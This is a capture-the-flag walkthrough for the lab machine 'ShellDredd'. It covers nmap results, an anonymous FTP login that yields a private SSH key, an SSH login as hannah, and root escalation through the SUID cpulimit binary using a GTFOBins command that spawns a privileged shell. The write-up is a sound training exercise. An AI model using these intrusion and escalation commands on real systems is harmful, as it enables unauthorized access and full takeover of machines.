OnsystemshellDredd_Walkthrough

Nmap_Scan

Starting Nmap 7.93 (https://nmap.org) at 2022-11-15 17:53 PST
Warning: 192.168.210.130 giving up on port because retransmission cap hit (6).
Stats: 0:06:08 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 28.84% done; ETC: 18:14 (0:15:08 remaining)
Nmap scan report for 192.168.210.130
Host is up (0.13s latency).
Not shown: 65111 closed tcp ports (conn-refused), 422 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.49.210
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
61000/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 592d210c2faf9d5a7b3ea427aa378908 (RSA)
| 256 5926da443b97d230b19b9b02748b8758 (ECDSA)
|_ 256 8ead104fe33e652840cb5bbf1d247f17 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1133.24 seconds

Notes

With our nmap scan we see that port 21 ftp, and 61000 ssh are open.
port 21 has anonymous login, lets take aa look.

FTP_Login

```
┌──(kali㉿kali)-[~/Desktop/Proving_Grounds]
└─$ ftp 192.168.210.130
Connected to 192.168.210.130.
220 (vsFTPd 3.0.3)
Name (192.168.210.130:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Notes

We are able to login but when we ls we see nothing, do ls -la to see the hidden directory.
cd into the directory then get the id_rsa

Id_rsa

```
ftp> ls
229 Entering Extended Passive Mode (|||42382|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            1823 Aug 06  2020 id_rsa
226 Directory send OK.
ftp> get id_rsa
```

Notes

Once you get the id_rsa you need to chmod 600 id_rsa then we can try to login to shh.

SSH_Login

```
┌──(kali㉿kali)-[~/Desktop/Proving_Grounds]
└─$ ssh -i id_rsa hannah@192.168.210.130 -p 61000
Linux ShellDredd 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
hannah@ShellDredd:~$ ls
local.txt  user.txt
```

Notes

As you can see we can login with the id_rsa key.Now cat local.txt to get your flag. Our next step is to do privesc.

PrivEsc

```
hannah@ShellDredd:~$ find / -type f -perm -04000 -ls 2>/dev/null
   136894     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   134985     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-l
aunch-helper
   142390    428 -rwsr-xr-x   1 root     root         436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
       55     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
     3436     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
     3910     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount
     2242    120 -rwsr-sr-x   1 root     root         121976 Mar 23  2012 /usr/bin/mawk
       52     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
     3583     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
       53     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
    15771     36 -rwsr-xr-x   1 root     root          34896 Apr 22  2020 /usr/bin/fusermount
    15754     24 -rwsr-sr-x   1 root     root          23072 Jun 23  2017 /usr/bin/cpulimit
     3908     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
       56     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
```

Notes

Now i seen cpulimit , and mawk so i went to GTFObins and tried cpulimit first and got root.

GTFOBins

.. / cpulimit

Star 7,557

Shell | SUID | Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
cpulimit -l 100 -f /bin/sh
```

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which cpulimit) .

./cpulimit -l 100 -f -- /bin/sh -p
```

Notes

Under SUID copy `./cpulimit -l 100 -f -- /bin/sh -p` then cd into /usr/bin on the ssh terminal and run the command.

Root

```
hannah@ShellDredd:/usr/bin$ ./cpulimit -l 100 -f -- /bin/sh -p
Process 1223 detected
# whoami
root
# cat /root/root.txt
Your flag is in another file...
# cd /root
# ls
proof.txt  root.txt
# cat proof.txt
```

Notes

cat proof.txt to get your root flag.
Thanks I hope you enjoyed the walkthrough.